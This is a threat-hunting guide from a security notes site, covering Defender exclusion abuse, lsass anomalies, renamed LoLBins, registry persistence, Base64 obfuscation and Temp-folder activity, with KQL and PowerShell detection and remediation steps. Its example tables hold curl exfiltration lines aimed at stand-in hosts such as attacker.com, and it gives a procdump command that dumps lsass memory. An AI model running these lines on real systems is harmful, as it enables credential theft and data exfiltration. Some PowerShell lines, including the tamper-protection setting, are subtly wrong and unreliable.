> For the complete documentation index, see [llms.txt](https://0xmedhat.gitbook.io/whoami/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xmedhat.gitbook.io/whoami/attacks-and-detections/part-1.md).

# part 1

#### 🚨 **Files Added to Windows Defender Exclusion List (Registry)**

Attackers often abuse the **Windows Defender Exclusion List** to prevent antivirus scans on malicious files or directories, ensuring their malware remains undetected.

***

### 🔍 **Windows Defender Exclusion List in Registry**

Windows Defender stores its **exclusion paths** in the Windows Registry. Attackers can manipulate these keys to exclude files, folders, or processes from antivirus scans.

#### 📂 **Registry Paths for Exclusion Lists:**

* **File Exclusions:**

  ```mathematica
  HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths
  ```
* **Process Exclusions:**

  ```mathematica
  HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes
  ```
* **Extension Exclusions:**

  ```mathematica
  HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions
  ```

#### 📑 **Values Explanation:**

* **Paths:** Full paths to files or folders excluded from scanning.
* **Processes:** Specific processes (e.g., `malware.exe`) excluded from scanning.
* **Extensions:** File extensions (e.g., `.dll`, `.exe`) excluded from scanning.

***

### 🛡️ **How Attackers Abuse Defender Exclusions**

1. **Adding Malware Paths:**
   * Attackers add specific malicious directories or files to exclusion paths.
2. **Excluding Entire Drives:**
   * E.g., `C:\` or `D:\` to ensure broad malware coverage.
3. **Excluding Specific Processes:**
   * Attackers can exclude malicious tools (`mimikatz.exe`) from scanning.
4. **Excluding Specific Extensions:**
   * E.g., `.dll` or `.exe` files to bypass detection.

***

### 🎯 **Detection & Investigation**

#### 📌 **Manual Check (Registry Editor)**

1. Open **Registry Editor** (`regedit.exe`).
2. Navigate to the following paths:

   ```mathematica
   HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions
   ```
3. Review:
   * **Paths**: Look for unusual directories or files.
   * **Processes**: Check for malicious process names.
   * **Extensions**: Look for overly broad exclusions (e.g., `.exe`, `.dll`).

***

#### 📌 **PowerShell Check**

Run the following PowerShell commands to list Defender exclusions:

**List All Exclusions:**

```powershell
Get-MpPreference | Select-Object -ExpandProperty ExclusionPath
Get-MpPreference | Select-Object -ExpandProperty ExclusionProcess
Get-MpPreference | Select-Object -ExpandProperty ExclusionExtension
```

**Export Exclusion Details to File:**

```powershell
Get-MpPreference > C:\Temp\DefenderExclusions.txt
```

**Check for Suspicious Additions:**

Look for paths like:

* `C:\Windows\System32\*`
* `C:\Users\Public\*`
* Entire drives (`C:\`)

***

### 📊 **Microsoft Defender for Endpoint Query (KQL)**

If you're using **Microsoft Defender for Endpoint (MDE)**, run the following query to detect recent changes to exclusion lists:

```kusto
DeviceRegistryEvents
| where RegistryKey contains @"SOFTWARE\Microsoft\Windows Defender\Exclusions"
| where ActionType == "RegistryValueSet"
| project Timestamp, DeviceName, UserName, RegistryKey, RegistryValueName, RegistryValueData
```

#### **What to Look For:**

* Recently added or modified exclusions.
* Entries with unusual paths or filenames.
* Exclusions added by non-admin accounts.

***

### 🛡️ **Remediation Steps**

#### 1️⃣ **Remove Suspicious Exclusions (PowerShell):**

```powershell
Remove-MpPreference -ExclusionPath "C:\SuspiciousFolder"
Remove-MpPreference -ExclusionProcess "malware.exe"
Remove-MpPreference -ExclusionExtension ".dll"
```

#### 2️⃣ **Reset Defender Preferences (if heavily compromised):**

```powershell
Set-MpPreference -ExclusionPath @()
Set-MpPreference -ExclusionProcess @()
Set-MpPreference -ExclusionExtension @()
```

#### 3️⃣ **Run a Full Antivirus Scan:**

```powershell
Start-MpScan -ScanType FullScan
```

#### 4️⃣ **Review Permissions:**

* Ensure that only **Administrators** can modify Windows Defender settings.
* Check for **unauthorized privileged accounts**.

***

### 🧠 **Harden Defender Settings**

To prevent future abuse:

1. **Enable Tamper Protection:** Prevent unauthorized changes to Defender settings.

   ```powershell
   Set-MpPreference -DisableTamperProtection $false
   ```
2. **Enable Attack Surface Reduction (ASR) Rules:**

   ```powershell
   Set-MpPreference -AttackSurfaceReductionRules_Ids D4F940AB-401B-4EFC-AADC-AD5F3C50688A -AttackSurfaceReductionRules_Actions Enabled
   ```
3. **Monitor Exclusion Changes with SIEM Alerts:** Set alerts in your SIEM for changes to the Defender exclusion registry keys.

***

### 🚨 **Conclusion**

* **What Happened:** Files or paths were added to the Defender exclusion list, likely by an attacker to evade detection.
* **Priority:** **High** – Credential theft, persistence, or lateral movement may be ongoing.
* **Next Steps:**
  * Investigate the timeline of the registry changes.
  * Remove unauthorized exclusions.
  * Perform a full malware scan.
  * Harden Defender settings.

***

#### 🚨 **Unusual `lsass.exe` Parent, Child, or Path Analysis**

The **Local Security Authority Subsystem Service (`lsass.exe`)** is a critical Windows process responsible for **authentication**, **credential caching**, and **enforcing security policies**.

Any irregularities involving `lsass.exe`—like unusual parent/child processes or deviations from its normal path—are **highly suspicious** and often indicate malicious activity.

***

### 📝 **1. Attack Breakdown**

#### 📌 **Legitimate Behavior of `lsass.exe`:**

* **Parent Process:** Usually spawned by **`winlogon.exe`** during system boot.
* **Child Processes:** Rarely spawns child processes.
* **Path:**

  ```makefile
  C:\Windows\System32\lsass.exe
  ```
* **Privileges:** Runs with **SYSTEM-level privileges**.

#### 📌 **Suspicious Indicators:**

1. **Unusual Parent Processes:**
   * `cmd.exe`, `powershell.exe`, `explorer.exe`, or any third-party binaries.
2. **Unusual Child Processes:**
   * `procdump.exe`, `mimikatz.exe`, `taskmgr.exe`, or unknown executables.
3. **Unusual File Paths:**
   * `C:\Temp\lsass.exe`
   * `C:\Windows\Temp\lsass.exe`
   * Any non-standard directory.
4. **Command-Line Arguments:**
   * Suspicious dump commands (e.g., `procdump.exe -ma lsass.exe`).
   * References to unauthorized tools (`mimikatz`, `taskmgr`).

#### 📌 **Attack Techniques:**

* **Credential Dumping:** Tools like `Mimikatz`, `procdump.exe`, or `rundll32.exe` are used to extract credentials from `lsass.exe`.
* **Process Injection:** Malware injects itself into `lsass.exe` for stealthy operations.
* **Persistence Mechanisms:** Attackers may replace or masquerade `lsass.exe` for long-term access.

***

### 🛡️ **2. Detection Techniques**

#### 📌 **Event Logs:**

* **Event ID 4688:** New process creation.
* **Event ID 4656:** Handle request to `lsass.exe` (e.g., for dumping credentials).
* **Event ID 4663:** Object access attempt on `lsass.exe`.

#### 📌 **Microsoft Defender for Endpoint (MDE) Query (KQL):**

```kusto
DeviceProcessEvents
| where FileName == "lsass.exe"
| where InitiatingProcessFileName !in~ ("winlogon.exe", "services.exe")
   or ProcessCommandLine contains "procdump"
   or FolderPath !contains "C:\\Windows\\System32"
| project Timestamp, DeviceName, InitiatingProcessFileName, FileName, FolderPath, ProcessCommandLine, AccountName
```

#### 📌 **Manual Investigation with Sysinternals:**

* Use **Process Explorer** to view parent/child processes.
* Verify the path of `lsass.exe`:

  ```cmd
  wmic process where name="lsass.exe" get ExecutablePath
  ```
* Check active handles to `lsass.exe`:

  ```cmd
  handle.exe lsass.exe
  ```

#### 📌 **PowerShell Command to Identify Suspicious Access:**

```powershell
Get-Process -Name lsass | Select-Object Path, StartTime, Id, Handles
```

***

### 🕵️‍♂️ **3. Investigation Techniques**

#### 1️⃣ **Identify Suspicious Parent Processes:**

* Investigate how `lsass.exe` was spawned.
* Use Event Viewer (`Event ID 4688`) or Defender Query.

#### 2️⃣ **Identify Child Processes of `lsass.exe`:**

* `lsass.exe` shouldn't have child processes.
* Any child process (e.g., `procdump.exe`, `mimikatz.exe`) is suspicious.

#### 3️⃣ **Verify File Path and Hashes:**

* Check the file path and hash of `lsass.exe`:

  ```powershell
  Get-FileHash C:\Windows\System32\lsass.exe
  ```
* Compare with VirusTotal.

#### 4️⃣ **Analyze Memory Dumps:**

* Dump `lsass.exe` securely for offline analysis:

  ```cmd
  procdump.exe -accepteula -ma lsass.exe C:\Temp\lsass_dump.dmp
  ```
* Analyze with **Volatility Framework**.

#### 5️⃣ **Check Active Network Connections:**

* Monitor outbound connections from `lsass.exe`:

  ```cmd
  netstat -ano | findstr :443
  ```

***

### 🔧 **4. Remediation Steps**

#### 📌 **Immediate Actions:**

1. **Isolate the System:** Remove the affected machine from the network.
2. **Terminate Suspicious Child Processes:**

   ```cmd
   taskkill /PID <Suspicious_Child_PID> /F
   ```
3. **Stop Unauthorized Dumping Tools:**

   ```cmd
   taskkill /IM procdump.exe /F
   ```
4. **Investigate Registry Keys:**\
   Check for persistence mechanisms:

   ```mathematica
   HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options
   ```

#### 📌 **Clean Up Malicious Files:**

* Remove unauthorized binaries interacting with `lsass.exe`.

#### 📌 **Reset Credentials:**

* Force a password reset for privileged accounts.

#### 📌 **Perform Full Security Scans:**

```powershell
Start-MpScan -ScanType FullScan
```

***

### 🛡️ **5. Prevention Steps**

1. **Enable Credential Guard:** Prevent unauthorized access to `lsass.exe` memory.
2. **Enable Tamper Protection in Defender:**

   ```powershell
   Set-MpPreference -DisableTamperProtection $false
   ```
3. **Implement LSASS Protection Policies:**
   * Use **Windows Defender Exploit Guard** to block unauthorized processes.
   * Enable **Process Mitigation Policies**:

     ```cmd
     reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v RunAsPPL /t REG_DWORD /d 1 /f
     ```
4. **Monitor Registry and Event Logs:**
   * Enable auditing for sensitive registry keys and LSASS access.
5. **Implement Least Privilege Access:**
   * Ensure only authorized users can access `lsass.exe`.

***

### 🧠 **Key Takeaways**

* **Normal Path:** `C:\Windows\System32\lsass.exe`
* **Normal Parent:** `winlogon.exe` or `services.exe`
* **No Child Processes:** `lsass.exe` should not spawn child processes.
* **Suspicious Signs:** Unusual paths, processes interacting with `lsass.exe`, or outbound connections.

***

#### 🚨 **Next Steps:**

* Investigate the timeline of `lsass.exe` interactions.

***

### 🚨 **Suspicious LoLBins Process Rename Analysis**

#### 🔍 **1. Attack Breakdown**

**Living off the Land Binaries (LoLBins)** are legitimate Windows executables often abused by attackers to execute malicious commands while evading detection. Renaming these binaries can further reduce the chances of detection by security tools and analysts.

***

#### 📑 **Commonly Abused LoLBins:**

| **LoLBin**       | **Legitimate Purpose**     | **Malicious Use**                |
| ---------------- | -------------------------- | -------------------------------- |
| `rundll32.exe`   | Run DLL files              | Execute malicious DLLs           |
| `mshta.exe`      | Execute HTML applications  | Run malicious scripts            |
| `powershell.exe` | Automation and scripting   | Run obfuscated malicious scripts |
| `certutil.exe`   | Manage certificates        | Download payloads                |
| `regsvr32.exe`   | Register DLL files         | Execute malicious payloads       |
| `bitsadmin.exe`  | Manage downloads/uploads   | Download payloads                |
| `cmstp.exe`      | Configure network settings | Execute malicious scripts        |

***

#### 📌 **Suspicious Indicators of Renaming:**

1. **Binary Executed with an Unexpected Name:**
   * `powershell.exe` renamed to `notepad.exe`.
   * `regsvr32.exe` renamed to `svchost.exe`.
2. **Unusual Execution Paths:**
   * `C:\Temp\svchost.exe`
   * `C:\Windows\Temp\powershell.exe`
3. **Obfuscated Command Lines:**
   * `cmd.exe /c renamed_bin.exe -encodedcommand YABzAHUAcwBwAGkAYwBpAG8AdQBz...`
4. **File Hash Mismatch:**
   * Hash does not match the original file but the binary behaves similarly.
5. **Abnormal Parent/Child Relationships:**
   * `explorer.exe` spawning `renamed_powershell.exe`.

***

### 🛡️ **2. Detection Techniques**

#### 📊 **Event Logs:**

* **Event ID 4688 (Process Creation)** – Monitor renamed binaries.
* **Event ID 4689 (Process Termination)** – Unexpected termination patterns.
* **Event ID 4663 (Object Access)** – Monitor access to sensitive files.

#### 📌 **PowerShell Command: Detect Renamed Processes**

```powershell
Get-Process | Where-Object { $_.Path -notlike "C:\Windows\System32\*" -and $_.Path -notlike "C:\Windows\SysWOW64\*" }
```

#### 📌 **Verify Process Hashes:**

```powershell
Get-FileHash "C:\Path\To\SuspiciousBinary.exe"
```

* Cross-check hashes with **VirusTotal** or known baselines.

***

#### 📊 **Microsoft Defender for Endpoint (MDE) Query (KQL):**

```kusto
DeviceProcessEvents
| where ProcessCommandLine contains "powershell" or ProcessCommandLine contains "regsvr32"
| where FileName !in~ ("powershell.exe", "regsvr32.exe", "rundll32.exe")
| where FolderPath !startswith "C:\\Windows\\System32\\" and FolderPath !startswith "C:\\Windows\\SysWOW64\\"
| project Timestamp, DeviceName, FileName, ProcessCommandLine, FolderPath, InitiatingProcessFileName
```

#### 📊 **Alternate Query for File Hash Mismatch:**

```kusto
DeviceFileEvents
| where FileName in~ ("powershell.exe", "regsvr32.exe", "rundll32.exe")
| where SHA256 != "<KnownGoodHash>"
| project Timestamp, DeviceName, FileName, SHA256, FolderPath, InitiatingProcessFileName
```

***

### 🕵️ **3. Investigation Techniques**

#### 1️⃣ **Check File Path and Name:**

* Is the binary running from a non-standard path?
* Example: `C:\Users\Public\renamed_powershell.exe`

#### 2️⃣ **Check Binary Hash:**

* Compare the file hash with a known baseline or VirusTotal.

#### 3️⃣ **Check Parent and Child Relationships:**

* Use **Sysinternals Process Explorer** or **Task Manager** to see:
  * Who spawned the renamed binary?
  * What child processes were created?

#### 4️⃣ **Analyze Command-Line Arguments:**

* Look for encoded commands or suspicious arguments:

  ```cmd
  renamed_powershell.exe -enc YABzAHUAcwBwAGkAYwBpAG8AdQBz
  ```

#### 5️⃣ **Network Connections:**

* Identify if the renamed binary is making outbound connections:

  ```cmd
  netstat -ano | findstr :443
  ```

***

### 🔧 **4. Remediation Steps**

#### 📌 **Immediate Actions:**

1. **Terminate Suspicious Processes:**

   ```cmd
   taskkill /F /IM renamed_binary.exe
   ```
2. **Quarantine Suspicious Files:**
   * Move the file to a safe location for further analysis.
3. **Disable Malicious Accounts:**
   * If linked to a compromised user account, disable it immediately.
4. **Perform a Full Security Scan:**

   ```powershell
   Start-MpScan -ScanType FullScan
   ```
5. **Check for Persistence Mechanisms:**
   * Review autoruns using Sysinternals Autoruns:

     ```cmd
     autoruns64.exe
     ```

***

### 🛡️ **5. Prevention Steps**

1. **Monitor and Alert on Renamed Binaries:**
   * Create alerts in your **SIEM** or **MDE** for renamed LOLBins.
2. **Application Control Policies (WDAC):**
   * Restrict the execution of binaries from non-standard paths.
3. **Implement Attack Surface Reduction (ASR) Rules:**

   ```powershell
   Set-MpPreference -AttackSurfaceReductionRules_Ids D4F940AB-401B-4EFC-AADC-AD5F3C50688A -AttackSurfaceReductionRules_Actions Enabled
   ```
4. **Enable File Block Policies:**
   * Block common LOLBin abuse scenarios via **Group Policy**.
5. **Educate Users:**
   * Train employees to detect phishing and social engineering attacks.

***

### 🧠 **6. Key Takeaways**

* **Unusual Paths:** Legitimate binaries (`powershell.exe`, `regsvr32.exe`) should only execute from trusted directories (`C:\Windows\System32`).
* **Unusual Parents/Children:** Monitor parent-child relationships involving renamed binaries.
* **File Hashes:** Always verify binary hashes against known-good baselines.
* **Encoded Commands:** Monitor for Base64 or obfuscated PowerShell commands.

***

### 🚨 **Startup Registry Analysis: Persistence Mechanism**

#### 🔍 **1. Attack Breakdown**

Attackers frequently use **Startup Registry Keys** to achieve **persistence** on a compromised system. By adding malicious executables, scripts, or commands to these keys, they ensure their malware runs every time the system boots or a user logs in.

***

### 📑 **2. Common Startup Registry Keys**

#### 📌 **Run Keys (For User-Specific and System-Wide Persistence)**

| **Registry Key**                                         | **Scope**    | **Behavior**                              |
| -------------------------------------------------------- | ------------ | ----------------------------------------- |
| `HKCU\Software\Microsoft\Windows\CurrentVersion\Run`     | Current User | Executes on user login.                   |
| `HKLM\Software\Microsoft\Windows\CurrentVersion\Run`     | All Users    | Executes on system startup for all users. |
| `HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce` | Current User | Executes once during next login.          |
| `HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce` | All Users    | Executes once during next system startup. |

#### 📌 **Service and Drivers Keys**

| **Registry Key**                                                  | **Scope**   | **Behavior**                     |
| ----------------------------------------------------------------- | ----------- | -------------------------------- |
| `HKLM\SYSTEM\CurrentControlSet\Services`                          | System-wide | Runs malicious services on boot. |
| `HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs` | System-wide | DLL hijacking.                   |

#### 📌 **Shell and Explorer Keys**

| **Registry Key**                                                   | **Scope**    | **Behavior**                                      |
| ------------------------------------------------------------------ | ------------ | ------------------------------------------------- |
| `HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell` | Current User | Runs custom shell on login.                       |
| `HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell` | All Users    | Replaces default shell with malicious executable. |

#### 📌 **Image File Execution Options (IFEO)**

| **Registry Key**                                                                 | **Scope**   | **Behavior**                                                       |
| -------------------------------------------------------------------------------- | ----------- | ------------------------------------------------------------------ |
| `HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options` | System-wide | Hijacks legitimate executables by pointing them to malicious ones. |

***

### 🛡️ **3. Detection Techniques**

#### 📊 **Manual Check (Registry Editor)**

1. Open **Registry Editor (`regedit.exe`)**.
2. Navigate through the keys listed above.
3. Look for:
   * **Unfamiliar Executables:** `C:\Temp\malware.exe`
   * **Encoded Commands:** Base64 strings, PowerShell commands
   * **Network References:** URLs or IP addresses

***

#### 📌 **PowerShell Commands for Detection**

**🕵️ List Startup Entries in Run/RunOnce Keys**

```powershell
Get-ChildItem -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -ErrorAction SilentlyContinue
Get-ChildItem -Path 'HKLM:\Software\Microsoft\Windows\CurrentVersion\Run' -ErrorAction SilentlyContinue
```

**🕵️ List Startup Entries in Winlogon Keys**

```powershell
Get-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon'
```

**🕵️ List Startup Services**

```powershell
Get-WmiObject Win32_Service | Where-Object { $_.StartMode -eq 'Auto' } | Select-Object Name, PathName, StartMode
```

***

#### 📊 **Microsoft Defender for Endpoint (MDE) Query (KQL)**

**🕵️ Detect Suspicious Registry Persistence**

```kusto
DeviceRegistryEvents
| where RegistryKey contains "Run" or RegistryKey contains "Winlogon"
| where RegistryValueData contains ".exe" or RegistryValueData contains "powershell"
| project Timestamp, DeviceName, UserName, RegistryKey, RegistryValueName, RegistryValueData
```

**🕵️ Detect IFEO Hijacking**

```kusto
DeviceRegistryEvents
| where RegistryKey contains "Image File Execution Options"
| project Timestamp, DeviceName, UserName, RegistryKey, RegistryValueName, RegistryValueData
```

***

### 🕵️ **4. Investigation Techniques**

#### 1️⃣ **Identify the Startup Program/Script**

* Check if the file exists at the specified path.
* Verify hashes:

  ```powershell
  Get-FileHash C:\Path\To\Suspicious.exe
  ```

#### 2️⃣ **Check File Metadata**

* Verify creation/modification timestamps.

  ```powershell
  Get-Item C:\Path\To\Suspicious.exe | Select-Object CreationTime, LastWriteTime
  ```

#### 3️⃣ **Monitor Process Execution**

* Look for the suspicious executable in Task Manager or Process Explorer.

#### 4️⃣ **Check Network Connections**

* Monitor connections initiated by the suspicious executable.

  ```cmd
  netstat -ano | findstr :443
  ```

#### 5️⃣ **Check Event Logs**

* **Event ID 4688 (Process Creation)**
* **Event ID 4656 (Registry Access)**

***

### 🔧 **5. Remediation Steps**

#### 📌 **Remove Malicious Registry Entries**

* Open **Registry Editor** (`regedit.exe`).
* Navigate to the affected key.
* **Export the Registry Key for Backup** (right-click → Export).
* **Delete Suspicious Entries.**

**PowerShell Example:**

```powershell
Remove-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -Name 'SuspiciousKey'
Remove-ItemProperty -Path 'HKLM:\Software\Microsoft\Windows\CurrentVersion\Run' -Name 'SuspiciousKey'
```

#### 📌 **Terminate Malicious Processes**

```powershell
Stop-Process -Name "suspicious.exe" -Force
```

#### 📌 **Quarantine Malicious Files**

* Move suspicious executables to a secure location for analysis.

#### 📌 **Perform Full Antivirus Scan**

```powershell
Start-MpScan -ScanType FullScan
```

***

### 🛡️ **6. Prevention Steps**

1. **Enable Windows Defender Tamper Protection**

```powershell
Set-MpPreference -DisableTamperProtection $false
```

2. **Monitor Registry Changes via Group Policy**
   * Enable **Registry Auditing** for sensitive keys.
3. **Restrict Permissions for Startup Keys**
   * Ensure only **Administrators** can modify these registry entries.
4. **Implement Application Whitelisting**
   * Use **Windows Defender Application Control (WDAC)** or **AppLocker**.
5. **Enable Attack Surface Reduction (ASR) Rules**

```powershell
Set-MpPreference -AttackSurfaceReductionRules_Ids D4F940AB-401B-4EFC-AADC-AD5F3C50688A -AttackSurfaceReductionRules_Actions Enabled
```

6. **Educate Users**
   * Train users to avoid downloading suspicious attachments or running unknown scripts.

***

### 🧠 **7. Key Takeaways**

* **Persistence is Common:** Startup Registry is a favorite for attackers to ensure malware execution.
* **Monitor Key Registry Paths:** Pay close attention to `Run`, `RunOnce`, and `Winlogon` keys.
* **Enable Registry Auditing:** Always monitor changes to these keys.
* **Use Hash Validation:** Validate file integrity with hashes and VirusTotal.

***

### 🚨 **Base64 Encoding/Decoding Detected: Threat Analysis**

#### 🔍 **1. Attack Breakdown**

**Base64 encoding/decoding** is commonly used in both **legitimate** and **malicious activities**. While legitimate processes may use Base64 for data transfer, attackers often use it to **obfuscate payloads, commands, or scripts** to evade detection by security tools.

***

#### 📑 **Common Scenarios of Malicious Base64 Usage**

| **Attack Type**              | **Description**                                     | **Example Command**                              |
| ---------------------------- | --------------------------------------------------- | ------------------------------------------------ |
| **PowerShell Obfuscation**   | Hide malicious scripts or commands in Base64 format | `powershell.exe -enc SQBFAFgAUABMAE8AUgBFAFIA`   |
| **Malware Payload Delivery** | Deliver encoded malware scripts                     | \`echo SGVsbG8gd29ybGQ=                          |
| **Credential Theft**         | Encode stolen credentials for exfiltration          | `echo YWRtaW46cGFzc3dvcmQ=`                      |
| **Data Exfiltration**        | Exfiltrate encoded data to C2 server                | `curl -X POST -d "ZGF0YQ==" http://attacker.com` |

***

#### 📌 **Indicators of Suspicious Base64 Activity**

1. **Encoded Commands in PowerShell or CMD:**

   ```powershell
   powershell.exe -enc SQBFAFgAUABMAE8AUgBFAFIA
   ```
2. **Suspicious Process Parents:**
   * `cmd.exe`, `powershell.exe`, `cscript.exe`, `mshta.exe`, `wscript.exe`
3. **Network Traffic with Encoded Data:**
   * Encoded payloads sent via HTTP/S to external domains.
4. **Usage of Built-in Encoding Utilities:**
   * `certutil.exe -encode`
   * `base64.exe`
5. **Suspicious File Writes:**
   * Files created with `.bat`, `.ps1`, `.vbs` containing Base64-encoded content.

***

### 🛡️ **2. Detection Techniques**

#### 📊 **Manual Detection (Command Line History)**

Run the following command to search for encoded commands in history:

```powershell
Get-Content (Get-History).CommandLine | Select-String "enc"
```

#### 📊 **Manual Check in Event Viewer**

* **Event ID 4688:** Process creation.
* **Event ID 4104:** Script Block Logging in PowerShell.

Filter for commands containing `-enc` or `Base64`.

***

#### 📌 **PowerShell Query for Encoded Commands**

**🕵️ Check for Encoded PowerShell Commands:**

```powershell
Get-WinEvent -LogName "Microsoft-Windows-PowerShell/Operational" |
Where-Object { $_.Message -match "-enc" }
```

**🕵️ Check Command-Line History:**

```powershell
Get-History | Where-Object { $_.CommandLine -match "enc" }
```

**🕵️ Extract Base64 Strings in Files:**

```powershell
Select-String -Path C:\Path\To\Suspicious\*.ps1 -Pattern "enc"
```

***

#### 📊 **Microsoft Defender for Endpoint (MDE) Query (KQL)**

**🕵️ Detect Base64-Encoded Commands**

```kusto
DeviceProcessEvents
| where ProcessCommandLine contains "-enc"
| project Timestamp, DeviceName, FileName, ProcessCommandLine, AccountName
```

**🕵️ Check Network Traffic for Encoded Data**

```kusto
DeviceNetworkEvents
| where RemoteUrl contains "base64"
| project Timestamp, DeviceName, RemoteIP, RemoteUrl, InitiatingProcessFileName
```

**🕵️ Look for Suspicious Encoded Scripts**

```kusto
DeviceFileEvents
| where FileName endswith ".ps1" or FileName endswith ".bat"
| where FileContent contains "enc"
| project Timestamp, DeviceName, FileName, InitiatingProcessFileName
```

***

### 🕵️ **3. Investigation Techniques**

#### 1️⃣ **Decode the Base64 Payload**

Use PowerShell to decode suspicious Base64 strings:

```powershell
[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("SGVsbG8gd29ybGQ="))
```

#### 2️⃣ **Analyze Script Content**

Inspect decoded content for:

* Malicious commands (`Invoke-WebRequest`, `Invoke-Expression`)
* Obfuscated payloads
* Indicators of Credential Theft (e.g., passwords, tokens)

#### 3️⃣ **Check Parent-Child Process Relationships**

* Identify who launched the Base64-encoded command.
* Investigate child processes for malicious behavior.

#### 4️⃣ **Network Traffic Analysis**

* Check if the decoded data points to **C2 servers**.
* Monitor outbound connections for suspicious IPs or URLs.

#### 5️⃣ **Correlate with File Activity**

* Identify if the command wrote files to disk (`C:\Windows\Temp`, `C:\Users\Public`).

***

### 🔧 **4. Remediation Steps**

#### 📌 **Kill Suspicious Processes**

```powershell
Stop-Process -Name "powershell" -Force
```

#### 📌 **Quarantine Malicious Scripts or Files**

```powershell
Move-Item -Path "C:\Path\To\SuspiciousScript.ps1" -Destination "C:\Quarantine"
```

#### 📌 **Disable Obfuscated Script Execution**

Disable obfuscated PowerShell scripts:

```powershell
Set-ExecutionPolicy Restricted -Force
```

#### 📌 **Perform Full Antivirus Scan**

```powershell
Start-MpScan -ScanType FullScan
```

#### 📌 **Clear PowerShell History**

```powershell
Remove-Item (Get-PSReadlineOption).HistorySavePath
```

***

### 🛡️ **5. Prevention Steps**

1. **Enable PowerShell Script Block Logging:**

   ```powershell
   Set-ItemProperty -Path "HKLM:\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" -Name EnableScriptBlockLogging -Value 1
   ```
2. **Restrict PowerShell Access to Admins Only:**
   * Use **Group Policy** to restrict script execution to administrators.
3. **Monitor Event Logs Regularly:**
   * **4688:** Process Creation
   * **4104:** Script Block Logging
4. **Use Application Control Policies (WDAC/AppLocker):**
   * Block unauthorized execution of scripts.
5. **Educate Users:**
   * Train users to identify suspicious emails and scripts.

***

### 🧠 **6. Key Takeaways**

* **Base64 + Obfuscated Commands:** Highly indicative of malicious activity.
* **Processes to Monitor:** `powershell.exe`, `cmd.exe`, `cscript.exe`
* **Common Patterns:** `-enc`, `base64 -d`, `Invoke-Expression`

***

\--

### 🚨 **Communication from the Temp Directory: Threat Analysis**

#### 🔍 **1. Attack Breakdown**

The **Temp Directory** (`C:\Windows\Temp`, `C:\Users\<Username>\AppData\Local\Temp`) is frequently abused by attackers because:

* It has **write permissions** for standard users.
* It's often **excluded from strict monitoring** by security tools.
* It’s a common location for **temporary files**, making it easy to hide malicious activity.

#### 📑 **Common Attack Scenarios:**

| **Attack Technique**      | **Description**                                          | **Example Activity**                                              |
| ------------------------- | -------------------------------------------------------- | ----------------------------------------------------------------- |
| **Malware Execution**     | Dropping malicious payloads into Temp and executing them | `C:\Users\<User>\AppData\Local\Temp\evil.exe`                     |
| **C2 Communication**      | Establishing connections with Command & Control servers  | `curl -X POST http://malicious.com -d @tempfile.tmp`              |
| **Data Exfiltration**     | Staging stolen data for exfiltration                     | `copy sensitive_data.txt C:\Temp\stage.tmp`                       |
| **Persistence Mechanism** | Using Temp directory for autoruns                        | Registry keys pointing to `C:\Temp\malware.exe`                   |
| **Fileless Malware**      | Temporary scripts executed in memory                     | `powershell.exe -ExecutionPolicy Bypass -File C:\Temp\script.ps1` |

***

### 📑 **2. Suspicious Indicators of Temp Directory Activity**

1. **Executable Files in Temp:**
   * `.exe`, `.dll`, `.bat`, `.vbs`, `.ps1`
2. **Unusual Network Communication from Temp Files:**
   * Outbound connections initiated by `tempfile.exe`.
3. **Registry Persistence via Temp Files:**
   * Startup keys referencing `C:\Temp\malware.exe`.
4. **Encoded/Obfuscated Scripts:**
   * Base64-encoded scripts executed from Temp.
5. **Abnormal Process Trees:**
   * Example: `explorer.exe` → `cmd.exe` → `tempfile.exe`

***

### 🛡️ **3. Detection Techniques**

#### 📊 **Manual Inspection**

**List Files in Temp Directory:**

```powershell
Get-ChildItem -Path "$env:TEMP" -Recurse | Where-Object { $_.Extension -in @(".exe", ".bat", ".ps1", ".vbs", ".dll") }
```

**Check Running Processes from Temp:**

```powershell
Get-Process | Where-Object { $_.Path -like "*\Temp\*" }
```

**Check Network Connections from Temp Files:**

```powershell
Get-Process -Id (Get-NetTCPConnection | Where-Object { $_.RemoteAddress -ne "::1" }).OwningProcess | Where-Object { $_.Path -like "*\Temp\*" }
```

***

#### 📊 **Microsoft Defender for Endpoint (MDE) Query (KQL)**

**🕵️ Detect Processes Executed from Temp:**

```kusto
DeviceProcessEvents
| where FolderPath contains "\Temp\"
| where FileName endswith ".exe" or FileName endswith ".ps1"
| project Timestamp, DeviceName, FolderPath, FileName, ProcessCommandLine, AccountName
```

**🕵️ Detect Outbound Network Traffic from Temp:**

```kusto
DeviceNetworkEvents
| where InitiatingProcessFolderPath contains "\Temp\"
| project Timestamp, DeviceName, RemoteIP, RemoteUrl, InitiatingProcessFileName, InitiatingProcessCommandLine
```

**🕵️ Detect Persistence via Registry Keys:**

```kusto
DeviceRegistryEvents
| where RegistryValueData contains "\Temp\"
| project Timestamp, DeviceName, RegistryKey, RegistryValueName, RegistryValueData, AccountName
```

***

### 🕵️ **4. Investigation Techniques**

#### 1️⃣ **File Hash Analysis:**

Generate file hashes and upload them to **VirusTotal**:

```powershell
Get-FileHash "C:\Users\<User>\AppData\Local\Temp\malware.exe"
```

#### 2️⃣ **Check File Metadata:**

Inspect creation and modification dates:

```powershell
Get-Item "C:\Users\<User>\AppData\Local\Temp\malware.exe" | Select-Object Name, CreationTime, LastWriteTime
```

